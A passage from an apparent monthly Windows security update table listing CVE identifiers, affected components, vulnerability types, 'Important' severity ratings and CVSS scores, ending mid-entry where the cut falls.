CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  